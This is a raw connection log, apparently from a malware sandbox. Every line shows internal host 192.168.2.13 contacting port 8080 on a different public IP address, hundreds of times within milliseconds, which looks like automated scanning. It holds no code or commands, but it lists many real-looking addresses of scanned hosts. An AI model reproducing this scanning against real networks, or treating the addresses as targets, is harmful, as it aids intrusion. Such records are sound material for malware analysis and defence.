Oct 29, 2024 20:52:40.347502947 CET	56351	8080	192.168.2.13	62.128.223.176
Oct 29, 2024 20:52:40.347502947 CET	56351	8080	192.168.2.13	94.8.75.47
Oct 29, 2024 20:52:40.347512960 CET	56351	8080	192.168.2.13	94.151.124.56
Oct 29, 2024 20:52:40.347512960 CET	56351	8080	192.168.2.13	85.34.102.200
Oct 29, 2024 20:52:40.347515106 CET	56351	8080	192.168.2.13	31.101.21.0
Oct 29, 2024 20:52:40.347522974 CET	56351	8080	192.168.2.13	85.44.119.37
Oct 29, 2024 20:52:40.347529888 CET	56351	8080	192.168.2.13	94.12.224.84
Oct 29, 2024 20:52:40.347536087 CET	56351	8080	192.168.2.13	94.255.25.151
Oct 29, 2024 20:52:40.347536087 CET	56351	8080	192.168.2.13	31.165.16.118
Oct 29, 2024 20:52:40.347549915 CET	56351	8080	192.168.2.13	62.237.8.138
Oct 29, 2024 20:52:40.347556114 CET	56351	8080	192.168.2.13	95.29.158.90
Oct 29, 2024 20:52:40.347557068 CET	56351	8080	192.168.2.13	85.38.51.91
Oct 29, 2024 20:52:40.347567081 CET	56351	8080	192.168.2.13	95.92.135.95
Oct 29, 2024 20:52:40.347568035 CET	56351	8080	192.168.2.13	31.172.175.176
Oct 29, 2024 20:52:40.347568035 CET	56351	8080	192.168.2.13	94.248.243.201
Oct 29, 2024 20:52:40.347568035 CET	56351	8080	192.168.2.13	95.42.176.68
Oct 29, 2024 20:52:40.347584963 CET	56351	8080	192.168.2.13	95.67.205.36
Oct 29, 2024 20:52:40.347584963 CET	56351	8080	192.168.2.13	31.234.59.137
Oct 29, 2024 20:52:40.347589970 CET	56351	8080	192.168.2.13	94.73.232.145
Oct 29, 2024 20:52:40.347590923 CET	56351	8080	192.168.2.13	95.191.86.99
Oct 29, 2024 20:52:40.347610950 CET	56351	8080	192.168.2.13	62.224.5.229
Oct 29, 2024 20:52:40.347610950 CET	56351	8080	192.168.2.13	62.16.151.206
Oct 29, 2024 20:52:40.347610950 CET	56351	8080	192.168.2.13	95.0.196.167
Oct 29, 2024 20:52:40.347630978 CET	56351	8080	192.168.2.13	31.169.7.125
Oct 29, 2024 20:52:40.347630978 CET	56351	8080	192.168.2.13	85.164.132.72
Oct 29, 2024 20:52:40.347635984 CET	56351	8080	192.168.2.13	62.184.239.58
Oct 29, 2024 20:52:40.347635984 CET	56351	8080	192.168.2.13	95.196.6.60
Oct 29, 2024 20:52:40.347645044 CET	56351	8080	192.168.2.13	85.233.49.52
Oct 29, 2024 20:52:40.347659111 CET	56351	8080	192.168.2.13	62.186.218.39
Oct 29, 2024 20:52:40.347661972 CET	56351	8080	192.168.2.13	31.95.164.129
Oct 29, 2024 20:52:40.347668886 CET	56351	8080	192.168.2.13	95.67.30.195
Oct 29, 2024 20:52:40.347671986 CET	56351	8080	192.168.2.13	94.170.76.196
Oct 29, 2024 20:52:40.347673893 CET	56351	8080	192.168.2.13	31.46.55.47
Oct 29, 2024 20:52:40.347673893 CET	56351	8080	192.168.2.13	31.84.183.199
Oct 29, 2024 20:52:40.347696066 CET	56351	8080	192.168.2.13	31.183.31.129
Oct 29, 2024 20:52:40.347696066 CET	56351	8080	192.168.2.13	94.25.164.91
Oct 29, 2024 20:52:40.347713947 CET	56351	8080	192.168.2.13	62.113.5.48
Oct 29, 2024 20:52:40.347713947 CET	56351	8080	192.168.2.13	94.169.15.30
Oct 29, 2024 20:52:40.347716093 CET	56351	8080	192.168.2.13	31.208.187.236
Oct 29, 2024 20:52:40.347719908 CET	56351	8080	192.168.2.13	95.164.35.108
Oct 29, 2024 20:52:40.347733974 CET	56351	8080	192.168.2.13	31.80.77.231
Oct 29, 2024 20:52:40.347743034 CET	56351	8080	192.168.2.13	62.141.87.129
Oct 29, 2024 20:52:40.347743034 CET	56351	8080	192.168.2.13	95.59.104.231
Oct 29, 2024 20:52:40.347754002 CET	56351	8080	192.168.2.13	31.233.186.184
Oct 29, 2024 20:52:40.347763062 CET	56351	8080	192.168.2.13	62.251.95.180
Oct 29, 2024 20:52:40.347771883 CET	56351	8080	192.168.2.13	95.69.220.190
Oct 29, 2024 20:52:40.347776890 CET	56351	8080	192.168.2.13	85.175.194.42
Oct 29, 2024 20:52:40.347780943 CET	56351	8080	192.168.2.13	62.80.193.48
Oct 29, 2024 20:52:40.347795010 CET	56351	8080	192.168.2.13	85.3.115.38
Oct 29, 2024 20:52:40.347795010 CET	56351	8080	192.168.2.13	95.206.12.24
Oct 29, 2024 20:52:40.347798109 CET	56351	8080	192.168.2.13	85.170.201.67
Oct 29, 2024 20:52:40.347803116 CET	56351	8080	192.168.2.13	62.105.209.116
Oct 29, 2024 20:52:40.347809076 CET	56351	8080	192.168.2.13	85.221.187.153
Oct 29, 2024 20:52:40.347821951 CET	56351	8080	192.168.2.13	31.216.53.37
Oct 29, 2024 20:52:40.347822905 CET	56351	8080	192.168.2.13	94.128.60.10
Oct 29, 2024 20:52:40.347822905 CET	56351	8080	192.168.2.13	62.64.20.115
Oct 29, 2024 20:52:40.347822905 CET	56351	8080	192.168.2.13	94.102.123.161
Oct 29, 2024 20:52:40.347839117 CET	56351	8080	192.168.2.13	94.208.85.37
Oct 29, 2024 20:52:40.347843885 CET	56351	8080	192.168.2.13	31.218.156.255
Oct 29, 2024 20:52:40.347855091 CET	56351	8080	192.168.2.13	31.137.52.16
Oct 29, 2024 20:52:40.347863913 CET	56351	8080	192.168.2.13	62.230.152.235
Oct 29, 2024 20:52:40.347873926 CET	56351	8080	192.168.2.13	62.219.200.161
Oct 29, 2024 20:52:40.347883940 CET	56351	8080	192.168.2.13	95.121.221.39
Oct 29, 2024 20:52:40.347883940 CET	56351	8080	192.168.2.13	85.32.251.8
Oct 29, 2024 20:52:40.347886086 CET	56351	8080	192.168.2.13	31.15.161.185
Oct 29, 2024 20:52:40.347887993 CET	56351	8080	192.168.2.13	62.250.66.31
Oct 29, 2024 20:52:40.347887993 CET	56351	8080	192.168.2.13	94.253.210.92
Oct 29, 2024 20:52:40.347898006 CET	56351	8080	192.168.2.13	95.201.77.203
Oct 29, 2024 20:52:40.347898006 CET	56351	8080	192.168.2.13	85.147.150.107
Oct 29, 2024 20:52:40.347907066 CET	56351	8080	192.168.2.13	95.242.186.199
Oct 29, 2024 20:52:40.347918034 CET	56351	8080	192.168.2.13	62.75.110.212
Oct 29, 2024 20:52:40.347920895 CET	56351	8080	192.168.2.13	95.203.186.126
Oct 29, 2024 20:52:40.347920895 CET	56351	8080	192.168.2.13	31.208.57.186
Oct 29, 2024 20:52:40.347929001 CET	56351	8080	192.168.2.13	85.185.44.78
Oct 29, 2024 20:52:40.347933054 CET	56351	8080	192.168.2.13	85.111.111.95
Oct 29, 2024 20:52:40.347949028 CET	56351	8080	192.168.2.13	31.22.10.193
Oct 29, 2024 20:52:40.347949028 CET	56351	8080	192.168.2.13	85.89.179.171
Oct 29, 2024 20:52:40.347959995 CET	56351	8080	192.168.2.13	95.135.88.221
Oct 29, 2024 20:52:40.347961903 CET	56351	8080	192.168.2.13	85.196.28.217
Oct 29, 2024 20:52:40.347970963 CET	56351	8080	192.168.2.13	95.131.248.97
Oct 29, 2024 20:52:40.347981930 CET	56351	8080	192.168.2.13	31.56.226.157
Oct 29, 2024 20:52:40.347981930 CET	56351	8080	192.168.2.13	85.163.43.4
Oct 29, 2024 20:52:40.347986937 CET	56351	8080	192.168.2.13	94.199.11.12
Oct 29, 2024 20:52:40.347989082 CET	56351	8080	192.168.2.13	85.218.20.210
Oct 29, 2024 20:52:40.348012924 CET	56351	8080	192.168.2.13	31.32.93.241
Oct 29, 2024 20:52:40.348014116 CET	56351	8080	192.168.2.13	95.186.227.236
Oct 29, 2024 20:52:40.348014116 CET	56351	8080	192.168.2.13	31.58.249.129
Oct 29, 2024 20:52:40.348020077 CET	56351	8080	192.168.2.13	85.194.206.101
Oct 29, 2024 20:52:40.348028898 CET	56351	8080	192.168.2.13	31.112.212.183
Oct 29, 2024 20:52:40.348042965 CET	56351	8080	192.168.2.13	85.66.246.153
Oct 29, 2024 20:52:40.348052979 CET	56351	8080	192.168.2.13	62.138.43.133
Oct 29, 2024 20:52:40.348077059 CET	56351	8080	192.168.2.13	62.97.50.224
Oct 29, 2024 20:52:40.348077059 CET	56351	8080	192.168.2.13	95.198.186.191
Oct 29, 2024 20:52:40.348083973 CET	56351	8080	192.168.2.13	94.121.75.27
Oct 29, 2024 20:52:40.348087072 CET	56351	8080	192.168.2.13	62.111.53.187
Oct 29, 2024 20:52:40.348087072 CET	56351	8080	192.168.2.13	31.217.87.126
Oct 29, 2024 20:52:40.348088026 CET	56351	8080	192.168.2.13	62.6.177.252
Oct 29, 2024 20:52:40.348109007 CET	56351	8080	192.168.2.13	85.187.217.158
Oct 29, 2024 20:52:40.348110914 CET	56351	8080	192.168.2.13	62.193.136.59
Oct 29, 2024 20:52:40.348115921 CET	56351	8080	192.168.2.13	85.40.155.16
Oct 29, 2024 20:52:40.348115921 CET	56351	8080	192.168.2.13	94.58.69.155
Oct 29, 2024 20:52:40.348124027 CET	56351	8080	192.168.2.13	85.173.195.111
Oct 29, 2024 20:52:40.348138094 CET	56351	8080	192.168.2.13	94.69.69.115
Oct 29, 2024 20:52:40.348138094 CET	56351	8080	192.168.2.13	31.190.153.195
Oct 29, 2024 20:52:40.348151922 CET	56351	8080	192.168.2.13	31.84.39.175
Oct 29, 2024 20:52:40.348153114 CET	56351	8080	192.168.2.13	62.81.159.124
Oct 29, 2024 20:52:40.348156929 CET	56351	8080	192.168.2.13	62.163.221.229
Oct 29, 2024 20:52:40.348170042 CET	56351	8080	192.168.2.13	31.59.179.113
Oct 29, 2024 20:52:40.348171949 CET	56351	8080	192.168.2.13	31.78.38.204
Oct 29, 2024 20:52:40.348177910 CET	56351	8080	192.168.2.13	95.71.42.243
Oct 29, 2024 20:52:40.348180056 CET	56351	8080	192.168.2.13	31.27.107.131
Oct 29, 2024 20:52:40.348181963 CET	56351	8080	192.168.2.13	62.111.20.16
Oct 29, 2024 20:52:40.348206997 CET	56351	8080	192.168.2.13	94.238.47.31
Oct 29, 2024 20:52:40.348207951 CET	56351	8080	192.168.2.13	31.255.129.97
Oct 29, 2024 20:52:40.348212004 CET	56351	8080	192.168.2.13	31.52.181.67
Oct 29, 2024 20:52:40.348217010 CET	56351	8080	192.168.2.13	94.3.48.38
Oct 29, 2024 20:52:40.348217010 CET	56351	8080	192.168.2.13	95.247.37.157
Oct 29, 2024 20:52:40.348221064 CET	56351	8080	192.168.2.13	62.11.201.42
Oct 29, 2024 20:52:40.348222971 CET	56351	8080	192.168.2.13	62.208.13.156
Oct 29, 2024 20:52:40.348236084 CET	56351	8080	192.168.2.13	31.22.45.232
Oct 29, 2024 20:52:40.348236084 CET	56351	8080	192.168.2.13	94.236.219.28
Oct 29, 2024 20:52:40.348248959 CET	56351	8080	192.168.2.13	85.167.59.117
Oct 29, 2024 20:52:40.348249912 CET	56351	8080	192.168.2.13	95.80.245.71
Oct 29, 2024 20:52:40.348249912 CET	56351	8080	192.168.2.13	94.179.244.65
Oct 29, 2024 20:52:40.348268986 CET	56351	8080	192.168.2.13	95.66.201.180
Oct 29, 2024 20:52:40.348272085 CET	56351	8080	192.168.2.13	62.205.27.114
Oct 29, 2024 20:52:40.348272085 CET	56351	8080	192.168.2.13	31.43.169.248
Oct 29, 2024 20:52:40.348282099 CET	56351	8080	192.168.2.13	95.223.118.103
Oct 29, 2024 20:52:40.348294020 CET	56351	8080	192.168.2.13	85.254.113.170
Oct 29, 2024 20:52:40.348299026 CET	56351	8080	192.168.2.13	31.231.94.23
Oct 29, 2024 20:52:40.348299026 CET	56351	8080	192.168.2.13	62.179.126.96
Oct 29, 2024 20:52:40.348299026 CET	56351	8080	192.168.2.13	85.142.244.249
Oct 29, 2024 20:52:40.348320007 CET	56351	8080	192.168.2.13	85.156.13.33
Oct 29, 2024 20:52:40.348320007 CET	56351	8080	192.168.2.13	85.89.246.85
Oct 29, 2024 20:52:40.348320961 CET	56351	8080	192.168.2.13	31.11.94.237
Oct 29, 2024 20:52:40.348332882 CET	56351	8080	192.168.2.13	95.248.174.230
Oct 29, 2024 20:52:40.348332882 CET	56351	8080	192.168.2.13	62.89.158.47
Oct 29, 2024 20:52:40.348332882 CET	56351	8080	192.168.2.13	85.206.224.246
Oct 29, 2024 20:52:40.348350048 CET	56351	8080	192.168.2.13	85.244.38.20
Oct 29, 2024 20:52:40.348354101 CET	56351	8080	192.168.2.13	85.191.107.182
Oct 29, 2024 20:52:40.348356962 CET	56351	8080	192.168.2.13	95.213.161.180
Oct 29, 2024 20:52:40.348356962 CET	56351	8080	192.168.2.13	31.121.25.240
Oct 29, 2024 20:52:40.348378897 CET	56351	8080	192.168.2.13	94.15.136.164
Oct 29, 2024 20:52:40.348381042 CET	56351	8080	192.168.2.13	31.138.187.237
Oct 29, 2024 20:52:40.348397017 CET	56351	8080	192.168.2.13	31.63.13.102
Oct 29, 2024 20:52:40.348409891 CET	56351	8080	192.168.2.13	31.182.96.218
Oct 29, 2024 20:52:40.348414898 CET	56351	8080	192.168.2.13	85.209.25.163
Oct 29, 2024 20:52:40.348418951 CET	56351	8080	192.168.2.13	85.72.233.108
Oct 29, 2024 20:52:40.348423958 CET	56351	8080	192.168.2.13	94.76.105.58
Oct 29, 2024 20:52:40.348433971 CET	56351	8080	192.168.2.13	94.1.15.1
Oct 29, 2024 20:52:40.348439932 CET	56351	8080	192.168.2.13	62.156.17.199
Oct 29, 2024 20:52:40.348458052 CET	56351	8080	192.168.2.13	94.82.167.90
Oct 29, 2024 20:52:40.348462105 CET	56351	8080	192.168.2.13	85.24.110.132
Oct 29, 2024 20:52:40.348474979 CET	56351	8080	192.168.2.13	94.149.219.47
Oct 29, 2024 20:52:40.348478079 CET	56351	8080	192.168.2.13	95.170.123.8
Oct 29, 2024 20:52:40.348491907 CET	56351	8080	192.168.2.13	31.226.65.109
Oct 29, 2024 20:52:40.348491907 CET	56351	8080	192.168.2.13	94.143.219.77
Oct 29, 2024 20:52:40.348491907 CET	56351	8080	192.168.2.13	95.50.122.60
Oct 29, 2024 20:52:40.348495960 CET	56351	8080	192.168.2.13	62.161.20.15
Oct 29, 2024 20:52:40.348504066 CET	56351	8080	192.168.2.13	94.210.246.184
Oct 29, 2024 20:52:40.348505974 CET	56351	8080	192.168.2.13	85.235.23.18
Oct 29, 2024 20:52:40.348512888 CET	56351	8080	192.168.2.13	85.141.73.103
Oct 29, 2024 20:52:40.348536015 CET	56351	8080	192.168.2.13	95.189.0.57
Oct 29, 2024 20:52:40.348536015 CET	56351	8080	192.168.2.13	94.250.187.97
Oct 29, 2024 20:52:40.348541021 CET	56351	8080	192.168.2.13	31.242.99.186
Oct 29, 2024 20:52:40.348546982 CET	56351	8080	192.168.2.13	95.185.55.129
Oct 29, 2024 20:52:40.348548889 CET	56351	8080	192.168.2.13	85.229.107.121
Oct 29, 2024 20:52:40.348557949 CET	56351	8080	192.168.2.13	62.145.21.17
Oct 29, 2024 20:52:40.348562956 CET	56351	8080	192.168.2.13	31.127.33.56
Oct 29, 2024 20:52:40.348565102 CET	56351	8080	192.168.2.13	31.222.93.213
Oct 29, 2024 20:52:40.348566055 CET	56351	8080	192.168.2.13	94.94.34.10
Oct 29, 2024 20:52:40.348575115 CET	56351	8080	192.168.2.13	85.148.160.166
Oct 29, 2024 20:52:40.348584890 CET	56351	8080	192.168.2.13	85.70.71.238
Oct 29, 2024 20:52:40.348587990 CET	56351	8080	192.168.2.13	85.9.45.151
Oct 29, 2024 20:52:40.348598957 CET	56351	8080	192.168.2.13	31.183.120.62
Oct 29, 2024 20:52:40.348620892 CET	56351	8080	192.168.2.13	95.63.125.128
Oct 29, 2024 20:52:40.348620892 CET	56351	8080	192.168.2.13	31.92.108.248
Oct 29, 2024 20:52:40.348622084 CET	56351	8080	192.168.2.13	62.124.117.23
Oct 29, 2024 20:52:40.348634005 CET	56351	8080	192.168.2.13	62.92.21.153
Oct 29, 2024 20:52:40.348644972 CET	56351	8080	192.168.2.13	31.10.162.102
Oct 29, 2024 20:52:40.348655939 CET	56351	8080	192.168.2.13	62.172.168.171
Oct 29, 2024 20:52:40.348659992 CET	56351	8080	192.168.2.13	85.81.247.164
Oct 29, 2024 20:52:40.348660946 CET	56351	8080	192.168.2.13	85.198.174.150
Oct 29, 2024 20:52:40.348664999 CET	56351	8080	192.168.2.13	62.33.215.3
Oct 29, 2024 20:52:40.348664999 CET	56351	8080	192.168.2.13	94.234.245.227
Oct 29, 2024 20:52:40.348675966 CET	56351	8080	192.168.2.13	85.94.254.172
Oct 29, 2024 20:52:40.348687887 CET	56351	8080	192.168.2.13	85.75.218.83
Oct 29, 2024 20:52:40.348690033 CET	56351	8080	192.168.2.13	62.77.252.143
Oct 29, 2024 20:52:40.348692894 CET	56351	8080	192.168.2.13	94.169.13.211
Oct 29, 2024 20:52:40.348706961 CET	56351	8080	192.168.2.13	95.68.43.215
Oct 29, 2024 20:52:40.348712921 CET	56351	8080	192.168.2.13	31.160.227.90
Oct 29, 2024 20:52:40.348712921 CET	56351	8080	192.168.2.13	94.14.218.206
Oct 29, 2024 20:52:40.348727942 CET	56351	8080	192.168.2.13	95.4.222.184
Oct 29, 2024 20:52:40.348735094 CET	56351	8080	192.168.2.13	94.17.165.104
Oct 29, 2024 20:52:40.348741055 CET	56351	8080	192.168.2.13	85.214.74.122
Oct 29, 2024 20:52:40.348742962 CET	56351	8080	192.168.2.13	95.251.98.140
Oct 29, 2024 20:52:40.348766088 CET	56351	8080	192.168.2.13	85.91.81.40
Oct 29, 2024 20:52:40.348767042 CET	56351	8080	192.168.2.13	62.50.232.95
Oct 29, 2024 20:52:40.348767042 CET	56351	8080	192.168.2.13	85.86.47.73
Oct 29, 2024 20:52:40.348767042 CET	56351	8080	192.168.2.13	31.244.215.111
Oct 29, 2024 20:52:40.348767996 CET	56351	8080	192.168.2.13	95.73.191.238
Oct 29, 2024 20:52:40.348771095 CET	56351	8080	192.168.2.13	95.192.144.146
Oct 29, 2024 20:52:40.348778963 CET	56351	8080	192.168.2.13	62.237.40.225
Oct 29, 2024 20:52:40.348789930 CET	56351	8080	192.168.2.13	31.107.195.27
Oct 29, 2024 20:52:40.348797083 CET	56351	8080	192.168.2.13	31.70.144.4
Oct 29, 2024 20:52:40.348797083 CET	56351	8080	192.168.2.13	94.138.171.134
Oct 29, 2024 20:52:40.348798990 CET	56351	8080	192.168.2.13	31.89.130.28
Oct 29, 2024 20:52:40.348798990 CET	56351	8080	192.168.2.13	31.117.39.3
Oct 29, 2024 20:52:40.348814011 CET	56351	8080	192.168.2.13	62.187.110.66
Oct 29, 2024 20:52:40.348815918 CET	56351	8080	192.168.2.13	62.154.77.183
Oct 29, 2024 20:52:40.348817110 CET	56351	8080	192.168.2.13	85.233.202.53
Oct 29, 2024 20:52:40.348817110 CET	56351	8080	192.168.2.13	31.7.106.60
Oct 29, 2024 20:52:40.348818064 CET	56351	8080	192.168.2.13	95.214.156.188
Oct 29, 2024 20:52:40.348834038 CET	56351	8080	192.168.2.13	85.246.225.64
Oct 29, 2024 20:52:40.348843098 CET	56351	8080	192.168.2.13	31.96.202.179
Oct 29, 2024 20:52:40.348843098 CET	56351	8080	192.168.2.13	94.162.3.63
Oct 29, 2024 20:52:40.348849058 CET	56351	8080	192.168.2.13	94.237.63.52
Oct 29, 2024 20:52:40.348850012 CET	56351	8080	192.168.2.13	95.148.157.178
Oct 29, 2024 20:52:40.348864079 CET	56351	8080	192.168.2.13	31.61.154.105
Oct 29, 2024 20:52:40.348867893 CET	56351	8080	192.168.2.13	31.124.162.60
Oct 29, 2024 20:52:40.348885059 CET	56351	8080	192.168.2.13	95.8.63.149
Oct 29, 2024 20:52:40.348890066 CET	56351	8080	192.168.2.13	94.113.247.148
Oct 29, 2024 20:52:40.348890066 CET	56351	8080	192.168.2.13	95.3.14.110
Oct 29, 2024 20:52:40.348891973 CET	56351	8080	192.168.2.13	31.92.191.129
Oct 29, 2024 20:52:40.348895073 CET	56351	8080	192.168.2.13	85.190.61.63
Oct 29, 2024 20:52:40.348895073 CET	56351	8080	192.168.2.13	31.142.160.31
Oct 29, 2024 20:52:40.348901987 CET	56351	8080	192.168.2.13	94.95.204.87
Oct 29, 2024 20:52:40.348911047 CET	56351	8080	192.168.2.13	31.154.75.113
Oct 29, 2024 20:52:40.348917007 CET	56351	8080	192.168.2.13	31.115.243.207
Oct 29, 2024 20:52:40.348917007 CET	56351	8080	192.168.2.13	95.181.21.20
Oct 29, 2024 20:52:40.348922014 CET	56351	8080	192.168.2.13	31.86.160.134
Oct 29, 2024 20:52:40.348938942 CET	56351	8080	192.168.2.13	94.145.179.214
Oct 29, 2024 20:52:40.348948956 CET	56351	8080	192.168.2.13	31.41.28.30
Oct 29, 2024 20:52:40.348954916 CET	56351	8080	192.168.2.13	85.87.124.106
Oct 29, 2024 20:52:40.348959923 CET	56351	8080	192.168.2.13	62.57.166.104
Oct 29, 2024 20:52:40.348972082 CET	56351	8080	192.168.2.13	62.231.77.8
Oct 29, 2024 20:52:40.348973036 CET	56351	8080	192.168.2.13	62.95.122.239
Oct 29, 2024 20:52:40.348973989 CET	56351	8080	192.168.2.13	62.156.143.5
Oct 29, 2024 20:52:40.348975897 CET	56351	8080	192.168.2.13	31.232.84.216
Oct 29, 2024 20:52:40.348983049 CET	56351	8080	192.168.2.13	95.84.225.1
Oct 29, 2024 20:52:40.348989010 CET	56351	8080	192.168.2.13	95.48.18.208
Oct 29, 2024 20:52:40.349006891 CET	56351	8080	192.168.2.13	31.139.2.50
Oct 29, 2024 20:52:40.349009991 CET	56351	8080	192.168.2.13	94.150.240.147
Oct 29, 2024 20:52:40.349018097 CET	56351	8080	192.168.2.13	62.43.123.109
Oct 29, 2024 20:52:40.349024057 CET	56351	8080	192.168.2.13	94.202.19.112
Oct 29, 2024 20:52:40.349025011 CET	56351	8080	192.168.2.13	62.99.243.72
Oct 29, 2024 20:52:40.349025011 CET	56351	8080	192.168.2.13	31.128.198.237
Oct 29, 2024 20:52:40.349030972 CET	56351	8080	192.168.2.13	85.35.111.210
Oct 29, 2024 20:52:40.349046946 CET	56351	8080	192.168.2.13	31.207.224.92
Oct 29, 2024 20:52:40.349050045 CET	56351	8080	192.168.2.13	94.38.125.243
Oct 29, 2024 20:52:40.349051952 CET	56351	8080	192.168.2.13	62.248.194.109
Oct 29, 2024 20:52:40.349059105 CET	56351	8080	192.168.2.13	85.60.129.2
Oct 29, 2024 20:52:40.349059105 CET	56351	8080	192.168.2.13	95.195.221.227
Oct 29, 2024 20:52:40.349077940 CET	56351	8080	192.168.2.13	95.61.239.27
Oct 29, 2024 20:52:40.349081039 CET	56351	8080	192.168.2.13	62.173.48.126
Oct 29, 2024 20:52:40.349087000 CET	56351	8080	192.168.2.13	85.244.32.90
Oct 29, 2024 20:52:40.349092007 CET	56351	8080	192.168.2.13	85.136.32.24
Oct 29, 2024 20:52:40.349104881 CET	56351	8080	192.168.2.13	85.90.110.141
Oct 29, 2024 20:52:40.349106073 CET	56351	8080	192.168.2.13	95.191.39.127
Oct 29, 2024 20:52:40.349118948 CET	56351	8080	192.168.2.13	62.60.64.51
Oct 29, 2024 20:52:40.349129915 CET	56351	8080	192.168.2.13	85.86.138.250
Oct 29, 2024 20:52:40.349129915 CET	56351	8080	192.168.2.13	85.171.131.86
Oct 29, 2024 20:52:40.349133968 CET	56351	8080	192.168.2.13	31.101.118.249
Oct 29, 2024 20:52:40.349157095 CET	56351	8080	192.168.2.13	94.207.218.103
Oct 29, 2024 20:52:40.349160910 CET	56351	8080	192.168.2.13	95.168.117.161
Oct 29, 2024 20:52:40.349160910 CET	56351	8080	192.168.2.13	85.77.215.126
Oct 29, 2024 20:52:40.349164009 CET	56351	8080	192.168.2.13	85.207.73.215
Oct 29, 2024 20:52:40.349164009 CET	56351	8080	192.168.2.13	62.239.2.6
Oct 29, 2024 20:52:40.349169016 CET	56351	8080	192.168.2.13	85.247.237.185
Oct 29, 2024 20:52:40.349170923 CET	56351	8080	192.168.2.13	95.211.226.68
Oct 29, 2024 20:52:40.349170923 CET	56351	8080	192.168.2.13	94.29.177.227
Oct 29, 2024 20:52:40.349170923 CET	56351	8080	192.168.2.13	95.32.205.125
Oct 29, 2024 20:52:40.349174976 CET	56351	8080	192.168.2.13	94.9.7.75
Oct 29, 2024 20:52:40.349185944 CET	56351	8080	192.168.2.13	95.100.115.142
Oct 29, 2024 20:52:40.349195957 CET	56351	8080	192.168.2.13	94.62.63.94
Oct 29, 2024 20:52:40.349195957 CET	56351	8080	192.168.2.13	31.217.139.166
Oct 29, 2024 20:52:40.349212885 CET	56351	8080	192.168.2.13	95.55.89.172
Oct 29, 2024 20:52:40.349214077 CET	56351	8080	192.168.2.13	95.72.145.50
Oct 29, 2024 20:52:40.349216938 CET	56351	8080	192.168.2.13	95.110.152.205
Oct 29, 2024 20:52:40.349216938 CET	56351	8080	192.168.2.13	62.177.219.225
Oct 29, 2024 20:52:40.349224091 CET	56351	8080	192.168.2.13	31.197.42.189
Oct 29, 2024 20:52:40.349234104 CET	56351	8080	192.168.2.13	31.62.200.92
Oct 29, 2024 20:52:40.349237919 CET	56351	8080	192.168.2.13	94.235.48.30
Oct 29, 2024 20:52:40.349247932 CET	56351	8080	192.168.2.13	94.157.205.5
Oct 29, 2024 20:52:40.349256039 CET	56351	8080	192.168.2.13	31.136.138.185
Oct 29, 2024 20:52:40.349258900 CET	56351	8080	192.168.2.13	62.140.115.146
Oct 29, 2024 20:52:40.349271059 CET	56351	8080	192.168.2.13	62.223.104.162
Oct 29, 2024 20:52:40.349276066 CET	56351	8080	192.168.2.13	62.205.151.184
Oct 29, 2024 20:52:40.349289894 CET	56351	8080	192.168.2.13	31.253.252.102
Oct 29, 2024 20:52:40.349292994 CET	56351	8080	192.168.2.13	95.220.137.143
Oct 29, 2024 20:52:40.349302053 CET	56351	8080	192.168.2.13	95.107.71.193
Oct 29, 2024 20:52:40.349304914 CET	56351	8080	192.168.2.13	62.185.46.0
Oct 29, 2024 20:52:40.349307060 CET	56351	8080	192.168.2.13	31.193.26.15
Oct 29, 2024 20:52:40.349318981 CET	56351	8080	192.168.2.13	31.244.51.153
Oct 29, 2024 20:52:40.349324942 CET	56351	8080	192.168.2.13	85.69.78.237
Oct 29, 2024 20:52:40.349329948 CET	56351	8080	192.168.2.13	85.190.160.152
Oct 29, 2024 20:52:40.349343061 CET	56351	8080	192.168.2.13	94.81.20.157
Oct 29, 2024 20:52:40.349349022 CET	56351	8080	192.168.2.13	31.250.8.71
Oct 29, 2024 20:52:40.349350929 CET	56351	8080	192.168.2.13	31.207.87.148
Oct 29, 2024 20:52:40.349350929 CET	56351	8080	192.168.2.13	94.106.157.197
Oct 29, 2024 20:52:40.349370003 CET	56351	8080	192.168.2.13	62.178.203.163
Oct 29, 2024 20:52:40.349370003 CET	56351	8080	192.168.2.13	62.179.11.238
Oct 29, 2024 20:52:40.349374056 CET	56351	8080	192.168.2.13	31.136.242.225
Oct 29, 2024 20:52:40.349381924 CET	56351	8080	192.168.2.13	94.111.125.215
Oct 29, 2024 20:52:40.349385023 CET	56351	8080	192.168.2.13	95.48.168.158
Oct 29, 2024 20:52:40.349387884 CET	56351	8080	192.168.2.13	85.97.56.102
Oct 29, 2024 20:52:40.349404097 CET	56351	8080	192.168.2.13	31.211.34.228
Oct 29, 2024 20:52:40.349405050 CET	56351	8080	192.168.2.13	31.185.100.198
Oct 29, 2024 20:52:40.349421024 CET	56351	8080	192.168.2.13	95.198.100.157
Oct 29, 2024 20:52:40.349425077 CET	56351	8080	192.168.2.13	95.138.138.147
Oct 29, 2024 20:52:40.349447012 CET	56351	8080	192.168.2.13	31.120.99.226
Oct 29, 2024 20:52:40.349450111 CET	56351	8080	192.168.2.13	31.185.140.244
Oct 29, 2024 20:52:40.349453926 CET	56351	8080	192.168.2.13	31.214.121.38
Oct 29, 2024 20:52:40.349453926 CET	56351	8080	192.168.2.13	85.170.186.130
Oct 29, 2024 20:52:40.349471092 CET	56351	8080	192.168.2.13	94.95.208.224
Oct 29, 2024 20:52:40.349471092 CET	56351	8080	192.168.2.13	85.50.5.202
Oct 29, 2024 20:52:40.349474907 CET	56351	8080	192.168.2.13	62.153.178.24
Oct 29, 2024 20:52:40.349498034 CET	56351	8080	192.168.2.13	94.193.233.251
Oct 29, 2024 20:52:40.349499941 CET	56351	8080	192.168.2.13	95.216.71.192
Oct 29, 2024 20:52:40.349499941 CET	56351	8080	192.168.2.13	62.34.231.63
Oct 29, 2024 20:52:40.349499941 CET	56351	8080	192.168.2.13	85.219.240.179
Oct 29, 2024 20:52:40.349519968 CET	56351	8080	192.168.2.13	95.70.198.37
Oct 29, 2024 20:52:40.349524021 CET	56351	8080	192.168.2.13	94.97.176.168
Oct 29, 2024 20:52:40.349528074 CET	56351	8080	192.168.2.13	95.49.249.89
Oct 29, 2024 20:52:40.349545002 CET	56351	8080	192.168.2.13	85.254.151.85
Oct 29, 2024 20:52:40.349548101 CET	56351	8080	192.168.2.13	95.173.143.13
Oct 29, 2024 20:52:40.349548101 CET	56351	8080	192.168.2.13	31.227.209.79
Oct 29, 2024 20:52:40.349550009 CET	56351	8080	192.168.2.13	31.47.114.201
Oct 29, 2024 20:52:40.349566936 CET	56351	8080	192.168.2.13	31.195.255.236
Oct 29, 2024 20:52:40.349570990 CET	56351	8080	192.168.2.13	94.44.82.191
Oct 29, 2024 20:52:40.349584103 CET	56351	8080	192.168.2.13	62.89.205.103
Oct 29, 2024 20:52:40.349584103 CET	56351	8080	192.168.2.13	94.243.227.41
Oct 29, 2024 20:52:40.349590063 CET	56351	8080	192.168.2.13	31.236.103.204
